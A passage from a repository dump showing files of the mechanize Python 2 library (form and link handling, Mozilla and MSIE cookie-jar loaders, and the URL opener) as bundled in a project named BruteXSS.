first).  Note that control 0 is the first form matching all the other\n        arguments (if supplied); it is not necessarily the first control in the\n        form.  The \"global form\" (consisting of all form controls not contained\n        in any FORM element) is considered not to be part of this sequence and\n        to have no name, so will not be matched unless both name and nr are\n        None.\n\n        \"\"\"\n        if not self.viewing_html():\n            raise BrowserStateError(\"not viewing HTML\")\n        if (name is None) and (predicate is None) and (nr is None):\n            raise ValueError(\n                \"at least one argument must be supplied to specify form\")\n\n        global_form = self._factory.global_form\n        if nr is None and name is None and \\\n               predicate is not None and predicate(global_form):\n            self.form = global_form\n            return\n\n        orig_nr = nr\n        for form in self.forms():\n            if name is not None and name != form.name:\n                continue\n            if predicate is not None and not predicate(form):\n                continue\n            if nr:\n                nr -= 1\n                continue\n            self.form = form\n            break  # success\n        else:\n            # failure\n            description = []\n            if name is not None: description.append(\"name '%s'\" % name)\n            if predicate is not None:\n                description.append(\"predicate %s\" % predicate)\n            if orig_nr is not None: description.append(\"nr %d\" % orig_nr)\n            description = \", \".join(description)\n            raise FormNotFoundError(\"no form matching \"+description)\n\n    def click(self, *args, **kwds):\n        \"\"\"See mechanize.HTMLForm.click for documentation.\"\"\"\n        if not self.viewing_html():\n            raise BrowserStateError(\"not viewing HTML\")\n        request = self.form.click(*args, **kwds)\n        return self._add_referer_header(request)\n\n    def submit(self, *args, **kwds):\n        \"\"\"Submit current form.\n\n        Arguments are as for mechanize.HTMLForm.click().\n\n        Return value is same as for Browser.open().\n\n        \"\"\"\n        return self.open(self.click(*args, **kwds))\n\n    def click_link(self, link=None, **kwds):\n        \"\"\"Find a link and return a Request object for it.\n\n        Arguments are as for .find_link(), except that a link may be supplied\n        as the first argument.\n\n        \"\"\"\n        if not self.viewing_html():\n            raise BrowserStateError(\"not viewing HTML\")\n        if not link:\n            link = self.find_link(**kwds)\n        else:\n            if kwds:\n                raise ValueError(\n                    \"either pass a Link, or keyword arguments, not both\")\n        request = self.request_class(link.absolute_url)\n        return self._add_referer_header(request)\n\n    def follow_link(self, link=None, **kwds):\n        \"\"\"Find a link and .open() it.\n\n        Arguments are as for .click_link().\n\n        Return value is same as for Browser.open().\n\n        \"\"\"\n        return self.open(self.click_link(link, **kwds))\n\n    def find_link(self, **kwds):\n        \"\"\"Find a link in current page.\n\n        Links are returned as mechanize.Link objects.\n\n        # Return third link that .search()-matches the regexp \"python\"\n        # (by \".search()-matches\", I mean that the regular expression method\n        # .search() is used, rather than .match()).\n        find_link(text_regex=re.compile(\"python\"), nr=2)\n\n        # Return first http link in the current page that points to somewhere\n        # on python.org whose link text (after tags have been removed) is\n        # exactly \"monty python\".\n        find_link(text=\"monty python\",\n                  url_regex=re.compile(\"http.*python.org\"))\n\n        # Return first link with exactly three HTML attributes.\n        find_link(predicate=lambda link: len(link.attrs) == 3)\n\n        Links include anchors (<a>), image maps (<area>), and frames (<frame>,\n        <iframe>).\n\n        All arguments must be passed by keyword, not position.  Zero or more\n        arguments may be supplied.  In order to find a link, all arguments\n        supplied must match.\n\n        If a matching link is not found, mechanize.LinkNotFoundError is raised.\n\n        text: link text between link tags: e.g. <a href=\"blah\">this bit</a> (as\n         returned by pullparser.get_compressed_text(), ie. without tags but\n         with opening tags \"textified\" as per the pullparser docs) must compare\n         equal to this argument, if supplied\n        text_regex: link text between tag (as defined above) must match the\n         regular expression object or regular expression string passed as this\n         argument, if supplied\n        name, name_regex: as for text and text_regex, but matched against the\n         name HTML attribute of the link tag\n        url, url_regex: as for text and text_regex, but matched against the\n         URL of the link tag (note this matches against Link.url, which is a\n         relative or absolute URL according to how it was written in the HTML)\n        tag: element name of opening tag, e.g. \"a\"\n        predicate: a function taking a Link object as its single argument,\n         returning a boolean result, indicating whether the links\n        nr: matches the nth link that matches all other criteria (default 0)\n\n        \"\"\"\n        try:\n            return self._filter_links(self._factory.links(), **kwds).next()\n        except StopIteration:\n            raise LinkNotFoundError()\n\n    def __getattr__(self, name):\n        # pass through _form.HTMLForm methods and attributes\n        form = self.__dict__.get(\"form\")\n        if form is None:\n            raise AttributeError(\n                \"%s instance has no attribute %s (perhaps you forgot to \"\n                \".select_form()?)\" % (self.__class__, name))\n        return getattr(form, name)\n\n    def _filter_links(self, links,\n                    text=None, text_regex=None,\n                    name=None, name_regex=None,\n                    url=None, url_regex=None,\n                    tag=None,\n                    predicate=None,\n                    nr=0\n                    ):\n        if not self.viewing_html():\n            raise BrowserStateError(\"not viewing HTML\")\n\n        orig_nr = nr\n\n        for link in links:\n            if url is not None and url != link.url:\n                continue\n            if url_regex is not None and not re.search(url_regex, link.url):\n                continue\n            if (text is not None and\n                (link.text is None or text != link.text)):\n                continue\n            if (text_regex is not None and\n                (link.text is None or not re.search(text_regex, link.text))):\n                continue\n            if name is not None and name != dict(link.attrs).get(\"name\"):\n                continue\n            if name_regex is not None:\n                link_name = dict(link.attrs).get(\"name\")\n                if link_name is None or not re.search(name_regex, link_name):\n                    continue\n            if tag is not None and tag != link.tag:\n                continue\n            if predicate is not None and not predicate(link):\n                continue\n            if nr:\n                nr -= 1\n                continue\n            yield link\n            nr = orig_nr\n"
  },
  {
    "path": "BruteXSS/mechanize/_mozillacookiejar.py",
    "content": "\"\"\"Mozilla / Netscape cookie loading / saving.\n\nCopyright 2002-2006 John J Lee <jjl@pobox.com>\nCopyright 1997-1999 Gisle Aas (original libwww-perl code)\n\nThis code is free software; you can redistribute it and/or modify it\nunder the terms of the BSD or ZPL 2.1 licenses (see the file\nCOPYING.txt included with the distribution).\n\n\"\"\"\n\nimport re, time, logging\n\nfrom _clientcookie import reraise_unmasked_exceptions, FileCookieJar, Cookie, \\\n     MISSING_FILENAME_TEXT, LoadError\ndebug = logging.getLogger(\"ClientCookie\").debug\n\n\nclass MozillaCookieJar(FileCookieJar):\n    \"\"\"\n\n    WARNING: you may want to backup your browser's cookies file if you use\n    this class to save cookies.  I *think* it works, but there have been\n    bugs in the past!\n\n    This class differs from CookieJar only in the format it uses to save and\n    load cookies to and from a file.  This class uses the Mozilla/Netscape\n    `cookies.txt' format.  lynx uses this file format, too.\n\n    Don't expect cookies saved while the browser is running to be noticed by\n    the browser (in fact, Mozilla on unix will overwrite your saved cookies if\n    you change them on disk while it's running; on Windows, you probably can't\n    save at all while the browser is running).\n\n    Note that the Mozilla/Netscape format will downgrade RFC2965 cookies to\n    Netscape cookies on saving.\n\n    In particular, the cookie version and port number information is lost,\n    together with information about whether or not Path, Port and Discard were\n    specified by the Set-Cookie2 (or Set-Cookie) header, and whether or not the\n    domain as set in the HTTP header started with a dot (yes, I'm aware some\n    domains in Netscape files start with a dot and some don't -- trust me, you\n    really don't want to know any more about this).\n\n    Note that though Mozilla and Netscape use the same format, they use\n    slightly different headers.  The class saves cookies using the Netscape\n    header by default (Mozilla can cope with that).\n\n    \"\"\"\n    magic_re = \"#( Netscape)? HTTP Cookie File\"\n    header = \"\"\"\\\n    # Netscape HTTP Cookie File\n    # http://www.netscape.com/newsref/std/cookie_spec.html\n    # This is a generated file!  Do not edit.\n\n\"\"\"\n\n    def _really_load(self, f, filename, ignore_discard, ignore_expires):\n        now = time.time()\n\n        magic = f.readline()\n        if not re.search(self.magic_re, magic):\n            f.close()\n            raise LoadError(\n                \"%s does not look like a Netscape format cookies file\" %\n                filename)\n\n        try:\n            while 1:\n                line = f.readline()\n                if line == \"\": break\n\n                # last field may be absent, so keep any trailing tab\n                if line.endswith(\"\\n\"): line = line[:-1]\n\n                # skip comments and blank lines XXX what is $ for?\n                if (line.strip().startswith(\"#\") or\n                    line.strip().startswith(\"$\") or\n                    line.strip() == \"\"):\n                    continue\n\n                domain, domain_specified, path, secure, expires, name, value = \\\n                    line.split(\"\\t\", 6)\n                secure = (secure == \"TRUE\")\n                domain_specified = (domain_specified == \"TRUE\")\n                if name == \"\":\n                    name = value\n                    value = None\n\n                initial_dot = domain.startswith(\".\")\n                if domain_specified != initial_dot:\n                    raise LoadError(\"domain and domain specified flag don't \"\n                                    \"match in %s: %s\" % (filename, line))\n\n                discard = False\n                if expires == \"\":\n                    expires = None\n                    discard = True\n\n                # assume path_specified is false\n                c = Cookie(0, name, value,\n                           None, False,\n                           domain, domain_specified, initial_dot,\n                           path, False,\n                           secure,\n                           expires,\n                           discard,\n                           None,\n                           None,\n                           {})\n                if not ignore_discard and c.discard:\n                    continue\n                if not ignore_expires and c.is_expired(now):\n                    continue\n                self.set_cookie(c)\n\n        except:\n            reraise_unmasked_exceptions((IOError, LoadError))\n            raise LoadError(\"invalid Netscape format file %s: %s\" %\n                            (filename, line))\n\n    def save(self, filename=None, ignore_discard=False, ignore_expires=False):\n        if filename is None:\n            if self.filename is not None: filename = self.filename\n            else: raise ValueError(MISSING_FILENAME_TEXT)\n\n        f = open(filename, \"w\")\n        try:\n            debug(\"Saving Netscape cookies.txt file\")\n            f.write(self.header)\n            now = time.time()\n            for cookie in self:\n                if not ignore_discard and cookie.discard:\n                    debug(\"   Not saving %s: marked for discard\", cookie.name)\n                    continue\n                if not ignore_expires and cookie.is_expired(now):\n                    debug(\"   Not saving %s: expired\", cookie.name)\n                    continue\n                if cookie.secure: secure = \"TRUE\"\n                else: secure = \"FALSE\"\n                if cookie.domain.startswith(\".\"): initial_dot = \"TRUE\"\n                else: initial_dot = \"FALSE\"\n                if cookie.expires is not None:\n                    expires = str(cookie.expires)\n                else:\n                    expires = \"\"\n                if cookie.value is None:\n                    # cookies.txt regards 'Set-Cookie: foo' as a cookie\n                    # with no name, whereas cookielib regards it as a\n                    # cookie with no value.\n                    name = \"\"\n                    value = cookie.name\n                else:\n                    name = cookie.name\n                    value = cookie.value\n                f.write(\n                    \"\\t\".join([cookie.domain, initial_dot, cookie.path,\n                               secure, expires, name, value])+\n                    \"\\n\")\n        finally:\n            f.close()\n"
  },
  {
    "path": "BruteXSS/mechanize/_msiecookiejar.py",
    "content": "\"\"\"Microsoft Internet Explorer cookie loading on Windows.\n\nCopyright 2002-2003 Johnny Lee <typo_pl@hotmail.com> (MSIE Perl code)\nCopyright 2002-2006 John J Lee <jjl@pobox.com> (The Python port)\n\nThis code is free software; you can redistribute it and/or modify it\nunder the terms of the BSD or ZPL 2.1 licenses (see the file\nCOPYING.txt included with the distribution).\n\n\"\"\"\n\n# XXX names and comments are not great here\n\nimport os, re, time, struct, logging\nif os.name == \"nt\":\n    import _winreg\n\nfrom _clientcookie import FileCookieJar, CookieJar, Cookie, \\\n     MISSING_FILENAME_TEXT, LoadError\n\ndebug = logging.getLogger(\"mechanize\").debug\n\n\ndef regload(path, leaf):\n    key = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER, path, 0,\n                          _winreg.KEY_ALL_ACCESS)\n    try:\n        value = _winreg.QueryValueEx(key, leaf)[0]\n    except WindowsError:\n        value = None\n    return value\n\nWIN32_EPOCH = 0x019db1ded53e8000L  # 1970 Jan 01 00:00:00 in Win32 FILETIME\n\ndef epoch_time_offset_from_win32_filetime(filetime):\n    \"\"\"Convert from win32 filetime to seconds-since-epoch value.\n\n    MSIE stores create and expire times as Win32 FILETIME, which is 64\n    bits of 100 nanosecond intervals since Jan 01 1601.\n\n    mechanize expects time in 32-bit value expressed in seconds since the\n    epoch (Jan 01 1970).\n\n    \"\"\"\n    if filetime < WIN32_EPOCH:\n        raise ValueError(\"filetime (%d) is before epoch (%d)\" %\n                         (filetime, WIN32_EPOCH))\n\n    return divmod((filetime - WIN32_EPOCH), 10000000L)[0]\n\ndef binary_to_char(c): return \"%02X\" % ord(c)\ndef binary_to_str(d): return \"\".join(map(binary_to_char, list(d)))\n\nclass MSIEBase:\n    magic_re = re.compile(r\"Client UrlCache MMF Ver \\d\\.\\d.*\")\n    padding = \"\\x0d\\xf0\\xad\\x0b\"\n\n    msie_domain_re = re.compile(r\"^([^/]+)(/.*)$\")\n    cookie_re = re.compile(\"Cookie\\:.+\\@([\\x21-\\xFF]+).*?\"\n                           \"(.+\\@[\\x21-\\xFF]+\\.txt)\")\n\n    # path under HKEY_CURRENT_USER from which to get location of index.dat\n    reg_path = r\"software\\microsoft\\windows\" \\\n               r\"\\currentversion\\explorer\\shell folders\"\n    reg_key = \"Cookies\"\n\n    def __init__(self):\n        self._delayload_domains = {}\n\n    def _delayload_domain(self, domain):\n        # if necessary, lazily load cookies for this domain\n        delayload_info = self._delayload_domains.get(domain)\n        if delayload_info is not None:\n            cookie_file, ignore_discard, ignore_expires = delayload_info\n            try:\n                self.load_cookie_data(cookie_file,\n                                      ignore_discard, ignore_expires)\n            except (LoadError, IOError):\n                debug(\"error reading cookie file, skipping: %s\", cookie_file)\n            else:\n                del self._delayload_domains[domain]\n\n    def _load_cookies_from_file(self, filename):\n        debug(\"Loading MSIE cookies file: %s\", filename)\n        cookies = []\n\n        cookies_fh = open(filename)\n\n        try:\n            while 1:\n                key = cookies_fh.readline()\n                if key == \"\": break\n\n                rl = cookies_fh.readline\n                def getlong(rl=rl): return long(rl().rstrip())\n                def getstr(rl=rl): return rl().rstrip()\n\n                key = key.rstrip()\n                value = getstr()\n                domain_path = getstr()\n                flags = getlong()  # 0x2000 bit is for secure I think\n                lo_expire = getlong()\n                hi_expire = getlong()\n                lo_create = getlong()\n                hi_create = getlong()\n                sep = getstr()\n\n                if \"\" in (key, value, domain_path, flags, hi_expire, lo_expire,\n                          hi_create, lo_create, sep) or (sep != \"*\"):\n                    break\n\n                m = self.msie_domain_re.search(domain_path)\n                if m:\n                    domain = m.group(1)\n                    path = m.group(2)\n\n                    cookies.append({\"KEY\": key, \"VALUE\": value,\n                                    \"DOMAIN\": domain, \"PATH\": path,\n                                    \"FLAGS\": flags, \"HIXP\": hi_expire,\n                                    \"LOXP\": lo_expire, \"HICREATE\": hi_create,\n                                    \"LOCREATE\": lo_create})\n        finally:\n            cookies_fh.close()\n\n        return cookies\n\n    def load_cookie_data(self, filename,\n                         ignore_discard=False, ignore_expires=False):\n        \"\"\"Load cookies from file containing actual cookie data.\n\n        Old cookies are kept unless overwritten by newly loaded ones.\n\n        You should not call this method if the delayload attribute is set.\n\n        I think each of these files contain all cookies for one user, domain,\n        and path.\n\n        filename: file containing cookies -- usually found in a file like\n         C:\\WINNT\\Profiles\\joe\\Cookies\\joe@blah[1].txt\n\n        \"\"\"\n        now = int(time.time())\n\n        cookie_data = self._load_cookies_from_file(filename)\n\n        for cookie in cookie_data:\n            flags = cookie[\"FLAGS\"]\n            secure = ((flags & 0x2000) != 0)\n            filetime = (cookie[\"HIXP\"] << 32) + cookie[\"LOXP\"]\n            expires = epoch_time_offset_from_win32_filetime(filetime)\n            if expires < now:\n                discard = True\n            else:\n                discard = False\n            domain = cookie[\"DOMAIN\"]\n            initial_dot = domain.startswith(\".\")\n            if initial_dot:\n                domain_specified = True\n            else:\n                # MSIE 5 does not record whether the domain cookie-attribute\n                # was specified.\n                # Assuming it wasn't is conservative, because with strict\n                # domain matching this will match less frequently; with regular\n                # Netscape tail-matching, this will match at exactly the same\n                # times that domain_specified = True would.  It also means we\n                # don't have to prepend a dot to achieve consistency with our\n                # own & Mozilla's domain-munging scheme.\n                domain_specified = False\n\n            # assume path_specified is false\n            # XXX is there other stuff in here? -- e.g. comment, commentURL?\n            c = Cookie(0,\n                       cookie[\"KEY\"], cookie[\"VALUE\"],\n                       None, False,\n                       domain, domain_specified, initial_dot,\n                       cookie[\"PATH\"], False,\n                       secure,\n                       expires,\n                       discard,\n                       None,\n                       None,\n                       {\"flags\": flags})\n            if not ignore_discard and c.discard:\n                continue\n            if not ignore_expires and c.is_expired(now):\n                continue\n            CookieJar.set_cookie(self, c)\n\n    def load_from_registry(self, ignore_discard=False, ignore_expires=False,\n                           username=None):\n        \"\"\"\n        username: only required on win9x\n\n        \"\"\"\n        cookies_dir = regload(self.reg_path, self.reg_key)\n        filename = os.path.normpath(os.path.join(cookies_dir, \"INDEX.DAT\"))\n        self.load(filename, ignore_discard, ignore_expires, username)\n\n    def _really_load(self, index, filename, ignore_discard, ignore_expires,\n                     username):\n        now = int(time.time())\n\n        if username is None:\n            username = os.environ['USERNAME'].lower()\n\n        cookie_dir = os.path.dirname(filename)\n\n        data = index.read(256)\n        if len(data) != 256:\n            raise LoadError(\"%s file is too short\" % filename)\n\n        # Cookies' index.dat file starts with 32 bytes of signature\n        # followed by an offset to the first record, stored as a little-\n        # endian DWORD.\n        sig, size, data = data[:32], data[32:36], data[36:]\n        size = struct.unpack(\"<L\", size)[0]\n\n        # check that sig is valid\n        if not self.magic_re.match(sig) or size != 0x4000:\n            raise LoadError(\"%s ['%s' %s] does not seem to contain cookies\" %\n                          (str(filename), sig, size))\n\n        # skip to start of first record\n        index.seek(size, 0)\n\n        sector = 128  # size of sector in bytes\n\n        while 1:\n            data = \"\"\n\n            # Cookies are usually in two contiguous sectors, so read in two\n            # sectors and adjust if not a Cookie.\n            to_read = 2 * sector\n            d = index.read(to_read)\n            if len(d) != to_read:\n                break\n            data = data + d\n\n            # Each record starts with a 4-byte signature and a count\n            # (little-endian DWORD) of sectors for the record.\n            sig, size, data = data[:4], data[4:8], data[8:]\n            size = struct.unpack(\"<L\", size)[0]\n\n            to_read = (size - 2) * sector\n\n##             from urllib import quote\n##             print \"data\", quote(data)\n##             print \"sig\", quote(sig)\n##             print \"size in sectors\", size\n##             print \"size in bytes\", size*sector\n##             print \"size in units of 16 bytes\", (size*sector) / 16\n##             print \"size to read in bytes\", to_read\n##             print\n\n            if sig != \"URL \":\n                assert sig in (\"HASH\", \"LEAK\", \\\n                               self.padding, \"\\x00\\x00\\x00\\x00\"), \\\n                               \"unrecognized MSIE index.dat record: %s\" % \\\n                               binary_to_str(sig)\n                if sig == \"\\x00\\x00\\x00\\x00\":\n                    # assume we've got all the cookies, and stop\n                    break\n                if sig == self.padding:\n                    continue\n                # skip the rest of this record\n                assert to_read >= 0\n                if size != 2:\n                    assert to_read != 0\n                    index.seek(to_read, 1)\n                continue\n\n            # read in rest of record if necessary\n            if size > 2:\n                more_data = index.read(to_read)\n                if len(more_data) != to_read: break\n                data = data + more_data\n\n            cookie_re = (\"Cookie\\:%s\\@([\\x21-\\xFF]+).*?\" % username +\n                         \"(%s\\@[\\x21-\\xFF]+\\.txt)\" % username)\n            m = re.search(cookie_re, data, re.I)\n            if m:\n                cookie_file = os.path.join(cookie_dir, m.group(2))\n                if not self.delayload:\n                    try:\n                        self.load_cookie_data(cookie_file,\n                                              ignore_discard, ignore_expires)\n                    except (LoadError, IOError):\n                        debug(\"error reading cookie file, skipping: %s\",\n                              cookie_file)\n                else:\n                    domain = m.group(1)\n                    i = domain.find(\"/\")\n                    if i != -1:\n                        domain = domain[:i]\n\n                    self._delayload_domains[domain] = (\n                        cookie_file, ignore_discard, ignore_expires)\n\n\nclass MSIECookieJar(MSIEBase, FileCookieJar):\n    \"\"\"FileCookieJar that reads from the Windows MSIE cookies database.\n\n    MSIECookieJar can read the cookie files of Microsoft Internet Explorer\n    (MSIE) for Windows version 5 on Windows NT and version 6 on Windows XP and\n    Windows 98.  Other configurations may also work, but are untested.  Saving\n    cookies in MSIE format is NOT supported.  If you save cookies, they'll be\n    in the usual Set-Cookie3 format, which you can read back in using an\n    instance of the plain old CookieJar class.  Don't save using the same\n    filename that you loaded cookies from, because you may succeed in\n    clobbering your MSIE cookies index file!\n\n    You should be able to have LWP share Internet Explorer's cookies like\n    this (note you need to supply a username to load_from_registry if you're on\n    Windows 9x or Windows ME):\n\n    cj = MSIECookieJar(delayload=1)\n    # find cookies index file in registry and load cookies from it\n    cj.load_from_registry()\n    opener = mechanize.build_opener(mechanize.HTTPCookieProcessor(cj))\n    response = opener.open(\"http://example.com/\")\n\n    Iterating over a delayloaded MSIECookieJar instance will not cause any\n    cookies to be read from disk.  To force reading of all cookies from disk,\n    call read_all_cookies.  Note that the following methods iterate over self:\n    clear_temporary_cookies, clear_expired_cookies, __len__, __repr__, __str__\n    and as_string.\n\n    Additional methods:\n\n    load_from_registry(ignore_discard=False, ignore_expires=False,\n                       username=None)\n    load_cookie_data(filename, ignore_discard=False, ignore_expires=False)\n    read_all_cookies()\n\n    \"\"\"\n    def __init__(self, filename=None, delayload=False, policy=None):\n        MSIEBase.__init__(self)\n        FileCookieJar.__init__(self, filename, delayload, policy)\n\n    def set_cookie(self, cookie):\n        if self.delayload:\n            self._delayload_domain(cookie.domain)\n        CookieJar.set_cookie(self, cookie)\n\n    def _cookies_for_request(self, request):\n        \"\"\"Return a list of cookies to be returned to server.\"\"\"\n        domains = self._cookies.copy()\n        domains.update(self._delayload_domains)\n        domains = domains.keys()\n\n        cookies = []\n        for domain in domains:\n            cookies.extend(self._cookies_for_domain(domain, request))\n        return cookies\n\n    def _cookies_for_domain(self, domain, request):\n        if not self._policy.domain_return_ok(domain, request):\n            return []\n        debug(\"Checking %s for cookies to return\", domain)\n        if self.delayload:\n            self._delayload_domain(domain)\n        return CookieJar._cookies_for_domain(self, domain, request)\n\n    def read_all_cookies(self):\n        \"\"\"Eagerly read in all cookies.\"\"\"\n        if self.delayload:\n            for domain in self._delayload_domains.keys():\n                self._delayload_domain(domain)\n\n    def load(self, filename, ignore_discard=False, ignore_expires=False,\n             username=None):\n        \"\"\"Load cookies from an MSIE 'index.dat' cookies index file.\n\n        filename: full path to cookie index file\n        username: only required on win9x\n\n        \"\"\"\n        if filename is None:\n            if self.filename is not None: filename = self.filename\n            else: raise ValueError(MISSING_FILENAME_TEXT)\n\n        index = open(filename, \"rb\")\n\n        try:\n            self._really_load(index, filename, ignore_discard, ignore_expires,\n                              username)\n        finally:\n            index.close()\n"
  },
  {
    "path": "BruteXSS/mechanize/_opener.py",
    "content": "\"\"\"URL opener.\n\nCopyright 2004-2006 John J Lee <jjl@pobox.com>\n\nThis code is free software; you can redistribute it and/or modify it\nunder the terms of the BSD or ZPL 2.1 licenses (see the file\nCOPYING.txt included with the distribution).\n\n\"\"\"\n\nimport os, urllib2, bisect, httplib, types, tempfile\ntry:\n    import threading as _threading\nexcept ImportError:\n    import dummy_threading as _threading\ntry:\n    set\nexcept NameError:\n    import sets\n    set = sets.Set\n\nfrom _request import Request\nimport _response\nimport _rfc3986\nimport _sockettimeout\nimport _urllib2_fork\nfrom _util import isstringlike\n\nopen_file = open\n\n\nclass ContentTooShortError(urllib2.URLError):\n    def __init__(self, reason, result):\n        urllib2.URLError.__init__(self, reason)\n        self.result = result\n\n\ndef set_request_attr(req, name, value, default):\n    try:\n        getattr(req, name)\n    except AttributeError:\n        setattr(req, name, default)\n    if value is not default:\n        setattr(req, name, value)\n\n\nclass OpenerDirector(_urllib2_fork.OpenerDirector):\n    def __init__(self):\n        _urllib2_fork.OpenerDirector.__init__(self)\n        # really none of these are (sanely) public -- the lack of initial\n        # underscore on some is just due to following urllib2\n        self.process_response = {}\n        self.process_request = {}\n        self._any_request = {}\n        self._any_response = {}\n        self._handler_index_valid = True\n        self._tempfiles = []\n\n    def add_handler(self, handler):\n        if not hasattr(handler, \"add_parent\"):\n            raise TypeError(\"expected BaseHandler instance, got %r\" %\n                            type(handler))\n\n        if handler in self.handlers:\n            return\n        # XXX why does self.handlers need to be sorted?\n        bisect.insort(self.handlers, handler)\n        handler.add_parent(self)\n        self._handler_index_valid = False\n\n    def _maybe_reindex_handlers(self):\n        if self._handler_index_valid:\n            return\n\n        handle_error = {}\n        handle_open = {}\n        process_request = {}\n        process_response = {}\n        any_request = set()\n        any_response = set()\n        unwanted = []\n\n        for handler in self.handlers:\n            added = False\n            for meth in dir(handler):\n                if meth in [\"redirect_request\", \"do_open\", \"proxy_open\"]:\n                    # oops, coincidental match\n                    continue\n\n                if meth == \"any_request\":\n                    any_request.add(handler)\n                    added = True\n                    continue\n                elif meth == \"any_response\":\n                    any_response.add(handler)\n                    added = True\n                    continue\n\n                ii = meth.find(\"_\")\n                scheme = meth[:ii]\n                condition = meth[ii+1:]\n\n                if condition.startswith(\"error\"):\n                    jj = meth[ii+1:].find(\"_\") + ii + 1\n                    kind = meth[jj+1:]\n                    try:\n                        kind = int(kind)\n                    except ValueError:\n                        pass\n                    lookup = handle_error.setdefault(scheme, {})\n                elif condition == \"open\":\n                    kind = scheme\n                    lookup = handle_open\n                elif condition == \"request\":\n                    kind = scheme\n                    lookup = process_request\n                elif condition == \"response\":\n                    kind = scheme\n                    lookup = process_response\n                else:\n                    continue\n\n                lookup.setdefault(kind, set()).add(handler)\n                added = True\n\n            if not added:\n                unwanted.append(handler)\n\n        for handler in unwanted:\n            self.handlers.remove(handler)\n\n        # sort indexed methods\n        # XXX could be cleaned up\n        for lookup in [process_request, process_response]:\n            for scheme, handlers in lookup.iteritems():\n                lookup[scheme] = handlers\n        for scheme, lookup in handle_error.iteritems():\n            for code, handlers in lookup.iteritems():\n                handlers = list(handlers)\n                handlers.sort()\n                lookup[code] = handlers\n        for scheme, handlers in handle_open.iteritems():\n            handlers = list(handlers)\n            handlers.sort()\n            handle_open[scheme] = handlers\n\n        # cache the indexes\n        self.handle_error = handle_error\n        self.handle_open = handle_open\n        self.process_request = process_request\n        self.process_response = process_response\n        self._any_request = any_request\n        self._any_response = any_response\n\n    def _request(self, url_or_req, data, visit,\n                 timeout=_sockettimeout._GLOBAL_DEFAULT_TIMEOUT):\n        if isstringlike(url_or_req):\n            req = Request(url_or_req, data, visit=visit, timeout=timeout)\n        else:\n            # already a mechanize.Request instance\n            req = url_or_req\n            if data is not None:\n                req.add_data(data)\n            # XXX yuck\n            set_request_attr(req, \"visit\", visit, None)\n            set_request_attr(req, \"timeout\", timeout,\n                             _sockettimeout._GLOBAL_DEFAULT_TIMEOUT)\n        return req\n\n    def open(self, fullurl, data=None,\n             timeout=_sockettimeout._GLOBAL_DEFAULT_TIMEOUT):\n        req = self._request(fullurl, data, None, timeout)\n        req_scheme = req.get_type()\n\n        self._maybe_reindex_handlers()\n\n        # pre-process request\n        # XXX should we allow a Processor to change the URL scheme\n        #   of the request?\n        request_processors = set(self.process_request.get(req_scheme, []))\n        request_processors.update(self._any_request)\n        request_processors = list(request_processors)\n        request_processors.sort()\n        for processor in request_processors:\n            for meth_name in [\"any_request\", req_scheme+\"_request\"]:\n                meth = getattr(processor, meth_name, None)\n                if meth:\n                    req = meth(req)\n\n        # In Python >= 2.4, .open() supports processors already, so we must\n        # call ._open() instead.\n        urlopen = _urllib2_fork.OpenerDirector._open\n        response = urlopen(self, req, data)\n\n        # post-process response\n        response_processors = set(self.process_response.get(req_scheme, []))\n        response_processors.update(self._any_response)\n        response_processors = list(response_processors)\n        response_processors.sort()\n        for processor in response_processors:\n            for meth_name in [\"any_response\", req_scheme+\"_response\"]:\n                meth = getattr(processor, meth_name, None)\n                if meth:\n                    response = meth(req, response)\n\n        return response\n\n    def error(self, proto, *args):\n        if proto in ['http', 'https']:\n            # XXX http[s] protocols are special-cased\n            dict = self.handle_error['http'] # https is not different than http\n            proto = args[2]  # YUCK!\n            meth_name = 'http_error_%s' % proto\n            http_err = 1\n            orig_args = args\n        else:\n            dict = self.handle_error\n            meth_name = proto + '_error'\n            http_err = 0\n        args = (dict, proto, meth_name) + args\n        result = apply(self._call_chain, args)\n        if result:\n            return result\n\n        if http_err:\n            args = (dict, 'default', 'http_error_default') + orig_args\n            return apply(self._call_chain, args)\n\n    BLOCK_SIZE = 1024*8\n    def retrieve(self, fullurl, filename=None, reporthook=None, data=None,\n                 timeout=_sockettimeout._GLOBAL_DEFAULT_TIMEOUT,\n                 open=open_file):\n        \"\"\"Returns (filename, headers).\n\n        For remote objects, the default filename will refer to a temporary\n        file.  Temporary files are removed when the OpenerDirector.close()\n        method is called.\n\n        For file: URLs, at present the returned filename is None.  This may\n        change in future.\n\n        If the actual number of bytes read is less than indicated by the\n        Content-Length header, raises ContentTooShortError (a URLError\n        subclass).  The exception's .result attribute contains the (filename,\n        headers) that would have been returned.\n\n        \"\"\"\n        req = self._request(fullurl, data, False, timeout)\n        scheme = req.get_type()\n        fp = self.open(req)\n        try:\n            headers = fp.info()\n            if filename is None and scheme == 'file':\n                # XXX req.get_selector() seems broken here, return None,\n                #   pending sanity :-/\n                return None, headers\n                #return urllib.url2pathname(req.get_selector()), headers\n            if filename:\n                tfp = open(filename, 'wb')\n            else:\n                path = _rfc3986.urlsplit(req.get_full_url())[2]\n                suffix = os.path.splitext(path)[1]\n                fd, filename = tempfile.mkstemp(suffix)\n                self._tempfiles.append(filename)\n                tfp = os.fdopen(fd, 'wb')\n            try:\n                result = filename, headers\n                bs = self.BLOCK_SIZE\n                size = -1\n                read = 0\n                blocknum = 0\n                if reporthook:\n                    if \"content-length\" in headers:\n                        size = int(headers[\"Content-Length\"])\n                    reporthook(blocknum, bs, size)\n                while 1:\n                    block = fp.read(bs)\n                    if block == \"\":\n                        break\n                    read += len(block)\n                    tfp.write(block)\n                    blocknum += 1\n                    if reporthook:\n                        reporthook(blocknum, bs, size)\n            finally:\n                tfp.close()\n        finally:\n            fp.close()\n\n        # raise exception if actual size does not match content-length header\n        if size >= 0 and read < size:\n            raise ContentTooShortError(\n                \"retrieval incomplete: \"\n                \"got only %i out of %i bytes\" % (read, size),\n                result\n                )\n\n        return result\n\n    def close(self):\n        _urllib2_fork.OpenerDirector.close(self)\n\n        # make it very obvious this object is no longer supposed to be used\n        self.open = self.error = self.retrieve = self.add_handler = None\n\n        if self._tempfiles:\n            for filename in self._tempfiles:\n                try:\n                    os.unlink(filename)\n                except OSError:\n                    pass\n            del self._tempfiles[:]\n\n\ndef wrapped_open(urlopen, process_response_object, fullurl, data=None,\n                 timeout=_sockettimeout._GLOBAL_DEFAULT_TIMEOUT):\n    success = True\n    try:\n        response = urlopen(fullurl, data, timeout)\n    except urllib2.HTTPError, error:\n        success = False\n        if error.fp is None:  # not a response\n            raise\n        response = error\n\n    if response is not None:\n        response = process_response_object(response)\n\n    if not success:\n        raise response\n    return response\n\nclass 